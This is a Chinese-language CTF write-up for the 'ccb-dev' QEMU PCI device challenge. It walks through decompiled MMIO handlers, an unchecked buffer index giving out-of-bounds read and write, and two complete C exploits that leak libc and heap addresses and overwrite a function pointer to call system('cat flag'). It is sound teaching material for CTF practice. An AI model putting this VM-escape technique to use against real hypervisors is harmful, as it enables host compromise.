ccb-dev

这个题目是一个qemu的iot的类型的题目,附件给了完整的模拟环境,这个题目是oob的任意读写的题目

我们来学习这个题目的做题流程

这个题目的docker是load是导入镜像,这里我们不能直接解压,解压之后是得不到正常的环境信息的

这里的镜像包是1.1G,不知道为啥下载不下来,只能让ai直接

• docker load 的本质是:把“已经做好的镜像”从一个归档文件里恢复到本地 Docker 镜像库。

不是构建,也不是执行 Dockerfile。更像“反序列化镜像”。

这里我们的docker没有问题,这个OCI有问题,不能进行还原,可能是太大了吧。。。

还原之后先确定docker的镜像

docker image ls | rg ccb-dev

之后启动

docker run -d --name ccb-dev -p 9999:9999 ccb-dev:latest

查看容器是否正常

docker ps
docker logs ccb-dev

可以这样链接

nc 127.0.0.1 9999

进容器的这样操作

docker exec -it ccb-dev /bin/bash

连接上之后,会给我一个shell,我们可以直接进容器,然后把容器中的核心的附件拷贝到进当前目录下。

  mkdir -p challenge-attachments
  docker cp ccb-dev:/home/ctf/run.sh challenge-attachments/
  docker cp ccb-dev:/home/ctf/qemu-system-x86_64 challenge-attachments/
  docker cp ccb-dev:/home/ctf/vmlinuz challenge-attachments/
  docker cp ccb-dev:/home/ctf/core.cpio challenge-attachments/
  docker cp ccb-dev:/home/ctf/pc-bios challenge-attachments/

之后通过解压一下安装包

# 创建解压目录并进入
mkdir extracted
cd extracted
# 使用 cpio 解包(从标准输入重定向)
cpio -idmv < ../core.cpio

洗后我们看了看这个start.sh文件

#!/bin/sh
./qemu-system-x86_64 \
    -m 512M \
    -kernel ./vmlinuz \
    -initrd  ./core.cpio \
    -L pc-bios \
    -monitor /dev/null \
    -append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
    -cpu kvm64,+smep \
    -smp cores=2,threads=1 \
    -device ccb-dev-pci \
    -nographic

这里是把设备文件写进qemu里面了,拖进ida之后分析即可,我们输入ccb进行关键字的筛选

这里简单的介绍一下这几个函数的作用,这个是在给设备注册

void __cdecl ccb_dev_class_init(ObjectClass *oc, void *data)
{
  DeviceClass *dc; // [rsp+10h] [rbp-10h]
  PCIDeviceClass *pci; // [rsp+18h] [rbp-8h]

  dc = (DeviceClass *)object_class_dynamic_cast_assert(
                        oc,
                        "device",
                        "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
                        146,
                        "ccb_dev_class_init");
  pci = (PCIDeviceClass *)object_class_dynamic_cast_assert(
                            oc,
                            "pci-device",
                            "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
                            147,
                            "ccb_dev_class_init");
  pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize;
  pci->vendor_id = 4660;
  pci->device_id = 4919;
  pci->revision = -127;
  pci->class_id = 255;
  dc->desc = "arttnba3 test PCI device";
  set_bit_68(7, dc->categories);
}

之后会进行回调,也就是调用这个函数,实现初始化的功能

void __cdecl ccb_dev_realize(PCIDevice *pci_dev, Error **errp)
{
  CCBPCIDevState *ds_0; // [rsp+18h] [rbp-8h]

  ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
                             &pci_dev->qdev.parent_obj,
                             "ccb-dev-pci",
                             "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
                             123,
                             "ccb_dev_realize");
  memory_region_init_io(
    &ds_0->mmio,
    &ds_0->parent_obj.qdev.parent_obj,
    &ccb_dev_mmio_ops,
    pci_dev,
    "ccb_dev-mmio",
    0x800u);
  pci_register_bar(pci_dev, 0, 0, &ds_0->mmio);
  memset(ds_0->buffer, 0, sizeof(ds_0->buffer));
  ds_0->index = 0;
  ds_0->log_arg = 0;
  ds_0->status = 0;
  ds_0->log_fd = 2;
  memset(ds_0->log_format, 0, sizeof(ds_0->log_format));
  ds_0->log_handler = (LogHandlerFunc)&dprintf;
}

读寄存器

uint32_t __cdecl ccb_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
  uint32_t val; // [rsp+20h] [rbp-10h]
  CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

  ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
                             (Object *)opaque,
                             "ccb-dev-pci",
                             "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
                             55,
                             "ccb_dev_mmio_read");
  val = 0;
  switch ( addr )
  {
    case 0uLL:
      val = ds_0->index;
      break;
    case 4uLL:
      val = ds_0->buffer[ds_0->index];
      break;
    case 8uLL:
      val = 0xDEADBEEF;
      break;
    case 0x10uLL:
      val = ds_0->log_arg;
      break;
    case 0x18uLL:
      val = ds_0->status;
      break;
    default:
      return val;
  }
  return val;
}

这里是没有检查的,意味可以越界读

    case 0uLL:
      val = ds_0->index;
      break;
    case 4uLL:
      val = ds_0->buffer[ds_0->index];
      break;

写寄存器,这里也是意味着我们越界写的

void __cdecl ccb_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  uint32_t vala; // [rsp+8h] [rbp-28h]
  CCBPCIDevState *ds_0; // [rsp+28h] [rbp-8h]

  vala = val;
  ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(
                             (Object *)opaque,
                             "ccb-dev-pci",
                             "/worksapce/qemu-3.1.0/hw/misc/ccb-dev.c",
                             85,
                             "ccb_dev_mmio_write");
  switch ( addr )
  {
    case 0uLL:
      ds_0->index = vala;
      break;
    case 4uLL:
      ds_0->buffer[ds_0->index] = vala;
      break;
    case 0xCuLL:
      if ( ds_0->log_handler )
      {
        ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
        ds_0->status = 0x10663D;
      }
      else
      {
        ds_0->status = 0xFA113D;
      }
      break;
    case 0x10uLL:
      ds_0->log_arg = vala;
      break;
    case 0x14uLL:
      ds_0->log_fd = vala;
      break;
    default:
      return;
  }
}

我们根据这个伪造,触发system调用即可

    case 0xCuLL:
      if ( ds_0->log_handler )
      {
        ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
        ds_0->status = 0x10663D;
      }
      else
      {
        ds_0->status = 0xFA113D;
      }
      break;

我们第一次做这种类型,学习一下基本的交互

这题不是“你调用一个现成函数,设备替你完成事”。
这题是:你在 guest 里,像驱动一样,去读写这个 PCI 设备的寄存器。

所以 exp 不是在“调用漏洞函数”,而是在“模拟驱动和设备对话”。

PMIO设备的交互

对于 PMIO 交互方式,我们可以先通过 iopl(3) 获取交互权限,接下来直接使用 in() 与 out() 系函数即可读写端口,需要注意的是端口地址应与读写长度对齐(例如读写 4 字节则端口地址需要对齐到 4),下面是一个例子:

void pmio_write(uint32_t port, uint32_t val)
{
    outl(val, port);
}

uint32_t pmio_read(uint32_t port)
{
    return inl(port);
}

int main(int argc, char **argv, char **envp)
{
    uint32_t  pmio_port = 0xc050;
    uint32_t  val;
    //...

    if (iopl(3) < 0) {
        errExit("failed to change i/o privilege! no root?");
    }

    /* This is just an example */
    val = pmio_read(pmio_port);
    pmio_write(pmio_port + 4, 0xdeadbeef)

MMIO设备的交互

首先获取设备号

lspci

/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111

在init函数中是有下面这个代码的,之前的话已经贴过

  pci->realize = (void (*)(PCIDevice *, Error **))ccb_dev_realize;
  pci->vendor_id = 0x1234;
  pci->device_id = 0x1337;
  pci->revision = -127;
  pci->class_id = 255;

所以说后面的设备号是这样写的

/sys/bus/pci/devices/0000:00:04.0/

一开始必须这样写的额

  fd = open("/sys/bus/pci/devices/.../resource0", O_RDWR | O_SYNC);
  bar = mmap(..., fd, ...);

之后我们的基本的基本操作如下

  uint32_t reg_read32(uint8_t *bar, uint32_t off);
  void reg_write32(uint8_t *bar, uint32_t off, uint32_t val);

这里我们的导入库如下

  #include <stdio.h>
  因为要用 printf
  #include <stdint.h>
  因为要用 uint8_t、uint32_t、uint64_t
  #include <stdlib.h>
  因为可能会用到 exit、malloc 这类标准库函数
  #include <string.h>
  因为要用 strcmp、strchr、memset
  #include <dirent.h>
  因为要遍历目录,比如 /sys/bus/pci/devices
  #include <fcntl.h>
  因为要用 open,还要用 O_RDWR、O_SYNC 这些标志
  #include <unistd.h>
  因为要用 read、close
  #include <errno.h>
  因为出错时要看 errno
  #include <sys/mman.h>
  因为要用 mmap,把 resource0 映射到内存里

之后我们想办法泄露libc,这里我们计算一下偏移,这里我们补充一下如何进行调试

我们把编辑好的exp放入文件系统,然后打包,这里不要错位目录

find . | cpio -o -H newc > ../core_patched.cpio

之后我们改一下start.sh,改成这个就行

-initrd ./core_patched.cpio \

这个不是内核,调试的时候不能简单的加上-s这个参数

这个是qemu,是在宿主机上进行调试的,之后的话内核调试的也是差不多的

这里不知道是通过符号断点的,要不识别不了,这里我们断点到实际的执行的部分

就是改改这里就行,一个改成system,一个改上cat flag

09:0048│     0x6129927014d8 —▸ 0x7fab7a260a10 (dprintf) ◂— endbr64
0a:0050│     0x6129927014e0 ◂— 2

简单的计算一下

pwndbg> p/x (0x6129927014d8-0x612992701490-4)/4
$2 = 0x11

注意这里是32字节,拆分合并泄露即可,这里泄露出来libc的地址

这里一开始当小丑了,直接把cat flag写进去了

    mmio_write(0,19);
    mmio_write(4,' tac');
    mmio_write(0,20);
    mmio_write(4,'galf');

这里我们额外选择泄露heap,多上一层中转去做即可

#include <stdio.h>
#include <stdint.h> 
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>


char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char *mmio_base;

uint32_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_base + addr));
}

void mmio_write(uint64_t addr, uint32_t value) {
    *((uint32_t *)(mmio_base + addr)) = value;
}

int main(){
    int fd;
    fd = open(pci_device_name, O_RDWR | O_SYNC);
    if (fd < 0){
        perror("open");
        return 1;
    }
    mmio_base = (unsigned char *)mmap(NULL, 0x1000,PROT_READ | PROT_WRITE,MAP_SHARED,fd, 0);
    if (mmio_base == MAP_FAILED){
        perror("mwo kanwomap");
        return 1;
    }
    //泄露libc
    mmio_write(0, 17);
    uint32_t low = mmio_read(4);
    printf("low : 0x%08x\n", low);

    mmio_write(0, 18);
    uint32_t high = mmio_read(4);
    printf("high: 0x%08x\n", high);

    uint64_t leak = (((uint64_t)high << 32) | low) - 0x60a10;
    printf("leak: 0x%016lx\n", leak);

    //泄露堆地址
    mmio_write(0, 103);
    uint32_t heap_low = mmio_read(4);
    printf("heap_low : 0x%08x\n", heap_low);

    mmio_write(0, 104);
    uint32_t heap_high = mmio_read(4);
    printf("heap_high: 0x%08x\n", heap_high);

    uint64_t heap = ((uint64_t)heap_high << 32) | heap_low;
    uint64_t log_format = heap + 0xaa0;
    printf("heap: 0x%016lx\n", heap);
    printf("log_format: 0x%016lx\n", log_format);

    mmio_write(0,23);
    mmio_write(4,' tac');
    mmio_write(0,24);
    mmio_write(4,'galf');
    mmio_write(0,25);
    mmio_write(4,0);

    mmio_write(0,19);
    mmio_write(4,log_format & 0xffffffff);
    mmio_write(0,20);
    mmio_write(4,log_format >> 32);

    mmio_write(0,17);
    mmio_write(4,(leak & 0xffffffff) + 0x50d70);
    mmio_write(0,18);
    mmio_write(4,(leak >> 32));

    mmio_write(0xc,0);
    return 0;

}

这里是让ai给我们封装了一下

#include <stdio.h>
#include <stdint.h> 
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>


char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char *mmio_base;

uint32_t mmio_read(uint64_t addr) {
    return *((uint32_t *)(mmio_base + addr));
}

void mmio_write(uint64_t addr, uint32_t value) {
    *((uint32_t *)(mmio_base + addr)) = value;
}

uint32_t read_data(uint32_t idx) {
    mmio_write(0, idx);
    return mmio_read(4);
}

void write_data(uint32_t idx, uint32_t value) {
    mmio_write(0, idx);
    mmio_write(4, value);
}

uint64_t read64(uint32_t idx) {
    uint32_t low = read_data(idx);
    uint32_t high = read_data(idx + 1);
    return ((uint64_t)high << 32) | low;
}

void write64(uint32_t idx, uint64_t value) {
    write_data(idx, value & 0xffffffff);
    write_data(idx + 1, value >> 32);
}

int main(){
    int fd;
    fd = open(pci_device_name, O_RDWR | O_SYNC);
    if (fd < 0){
        perror("open");
        return 1;
    }
    mmio_base = (unsigned char *)mmap(NULL, 0x1000,PROT_READ | PROT_WRITE,MAP_SHARED,fd, 0);
    if (mmio_base == MAP_FAILED){
        perror("mwo kanwomap");
        return 1;
    }
    //泄露libc
    mmio_write(0, 17);
    uint32_t low = mmio_read(4);
    printf("low : 0x%08x\n", low);

    mmio_write(0, 18);
    uint32_t high = mmio_read(4);
    printf("high: 0x%08x\n", high);

    uint64_t leak = (((uint64_t)high << 32) | low) - 0x60a10;
    printf("leak: 0x%016lx\n", leak);

    uint64_t heap = read64(103);
    uint64_t log_format = heap + 0xaa0;
    printf("heap: 0x%016lx\n", heap);
    printf("log_format: 0x%016lx\n", log_format);

    write_data(23, ' tac');
    write_data(24, 'galf');
    write_data(25, 0);

    write64(19, log_format);
    write64(17, leak + 0x50d70);

    mmio_write(0xc,0);
    return 0;

}